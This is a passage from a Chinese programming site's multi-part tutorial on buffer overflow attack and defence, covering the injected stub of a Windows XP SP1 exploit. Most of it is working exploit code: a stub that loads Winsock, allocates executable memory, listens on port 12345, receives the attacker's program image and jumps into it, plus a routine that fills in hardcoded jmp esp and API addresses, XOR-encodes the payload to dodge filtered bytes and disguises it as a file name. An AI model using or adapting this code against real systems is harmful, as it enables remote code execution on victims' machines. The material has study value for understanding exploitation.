WEB开发网
开发学院软件开发VC 缓冲区溢出攻防 阅读

缓冲区溢出攻防

 2010-02-19 20:33:10 来源:WEB开发网   
核心提示:STUBPARAM定义的是要传递给stubcode的参数,它比较简单,缓冲区溢出攻防(4),相信你看完后面对stubcode的介绍,就能明白各成员的含义和作用了,注入过程只是简单的网络通讯,就不讲了,其中所有以“Fx”为前缀的数据类型都是其相应函数的指针类型,后文还会遇到

STUBPARAM定义的是要传递给stubcode的参数,它比较简单,相信你看完后面对stubcode的介绍,就能明白各成员的含义和作用了。其中所有以“Fx”为前缀的数据类型都是其相应函数的指针类型,后文还会遇到。

在STUB中,我给了第一个填充数组18字节的空间,多出来的两字节用来存储UNC字符串中打头的“\\”,本例中这并不是必须的。而arrStubCode虽然看上去只有一字节长,却是一个变长数组,保存的是结构图中的stubcode和填充数据3。

下面我们就进入stub的最后一部分,也是最重要的一部分:stubcode,代码如下。

void WINAPI StubCode(STUBPARAM* psp)
{
  HINSTANCE hWs2_32=psp->fnLoadLibrary(psp->szWs2_32);
  FxGetProcAddr fnGetProcAddr = psp->fnGetProcAddr;
  Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32,psp->szSocket);
  Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32,psp->szBind);
  Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32,psp->szListen);
  Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32,psp->szAccept);
  Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32,psp->szSend);
  Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32,psp->szRecv);
  BYTE* buf= (BYTE*)psp->fnVirtualAlloc(NULL,psp->dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  struct sockaddr_in saServer;
  saServer.sin_family = AF_INET;
  saServer.sin_port = 0x3930; //htons(12345)
  saServer.sin_addr.s_addr = ADDR_ANY;
  fnbind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
  fnlisten(sckListen, 2);
  SOCKET sckClient = fnaccept(sckListen, NULL, 0);
  fnsend(sckClient, (const char*)(&buf), 4, 0);
  DWORD dwBytesRecv = 0;
  BYTE* pos = buf;
  while(dwBytesRecv <psp->dwImageSize)
  {
    dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0);
    pos = buf + dwBytesRecv;
  }
  FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf +psp->rvaAttackerEntry);
  fnAttackerEntry(buf, psp->fnLoadLibrary,psp->fnGetProcAddr);
}
void StubCodeEnd(){} //this function marks the end of stubcode

stubcode先用LoadLibrary得到ws2_32.dll的句柄,然后通过GetProcAddress获得几个API函数的入口地址。接着它用VirtualAlloc分配了dwImageSize大小的内存,这块内存有什么用呢?原来,同《进程隐藏》一样,我们要向victim进程中注入另一个PE文件——其实就是attacker自己——的映像,所以,这块内存就是保存映像的空间,而dwImageSize也就是这个映像的大小。之后它开始在12345端口上侦听,直到接到attacker连接请求。

与attacker建立连接后,StubCode会立即将刚才分配的内存的起始地址发过去,attacker要根据这个地址对自身的一个拷贝进行重定位,然后将它发回StubCode。StubCode则把这个拷贝接收到刚才分配的内存中去。Attacker还有另外一个函数“AttackerEntry”,rvaAttackerEntry就是这个函数与attacker的装入地址的距离。通过这个距离,StubCode就可以在attacker的拷贝中找到AttackerEntry的入口,从而把控制权转交给它。至此,StubCode就完成了自己的使命。

代码中使用LoadLibrary和GetProcAddress方式你不陌生吧?如果真的看不明白,请读一下《进程隐藏》。VirtualAlloc也位于kernel32.dll,所以我就照方抓药了。

上面的代码里还有一个空函数“StubCodeEnd”,虽然表面上什么也没做,但它却有一个非常重要的任务:我要用它来计算StubCode这个函数占了多少内存,并据此计算出整个stub的大小。用下面的方法就行了:

int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));

我没有从官方资料上找到可以这么做的依据,但在我的环境中,它确实工作的很好!

有了stub,我们还需要一些代码对其进行填充并注入到victim中去。注入过程只是简单的网络通讯,就不讲了,单看数据填充。

BOOL PrepareStub(STUB* pStub)
{
  //copy const data
  memcpy(pStub, &g_stub, sizeof(STUB));
  //prepare stub code param
  pStub->dwJmpEsp= 0x77D437DB; //这几个地址适用于
  pStub->sp.fnLoadLibrary= 0x77E5D961; //victim程序运行在
  pStub->sp.fnGetProcAddr= 0x77E5B332; //winxp pro + sp1 系统上
  pStub->sp.fnVirtualAlloc= 0x77E5AC72; //的情况
  pStub->sp.dwImageSize= GetImageSize((LPCBYTE)g_hInst);
  pStub->sp.rvaAttackerEntry = ((DWORD)AttackerEntry) - ((DWORD)g_hInst);
  //copy stub code
  int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
  memcpy(pStub->arrStubCode, StubCode, nStubCodeSize);
  //find xor mask
  int nXorSize = (int)(sizeof(STUBPARAM) + nStubCodeSize);
  LPBYTE pTmp = (LPBYTE)(&(pStub->sp));
  BYTE byXorMask = GetXorMask(pTmp, nXorSize, (LPCBYTE)g_arrDisallow, 
    sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]));
  if(byXorMask == g_arrDisallow[0])
     return FALSE;
  //xor it
  for(int i=0; i<nXorSize; i++)
    *(pTmp+i) ^= byXorMask;
  //fill stubstubcode
  pStub->ssc.wXorSize= (WORD)nXorSize;
  pStub->ssc.byXorMask= byXorMask;
  //Does the stubstubcode contains a disallowed char?
  pTmp = (LPBYTE)(&(pStub->ssc));
  for(i=0; i<sizeof(STUBSTUBCODE); pTmp++, i++)
     for(int j=0; j<sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]); j++) 
       if(*pTmp == g_arrDisallow[j])
         return FALSE;
  //make it an "valid" file name the victim wants
  strcpy((char*)(&(pStub->arrStubCode[nStubCodeSize])), g_szStubTail);
  return TRUE;
}

上一页  1 2 3 4 5 6  下一页

Tags:缓冲区 溢出 攻防

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接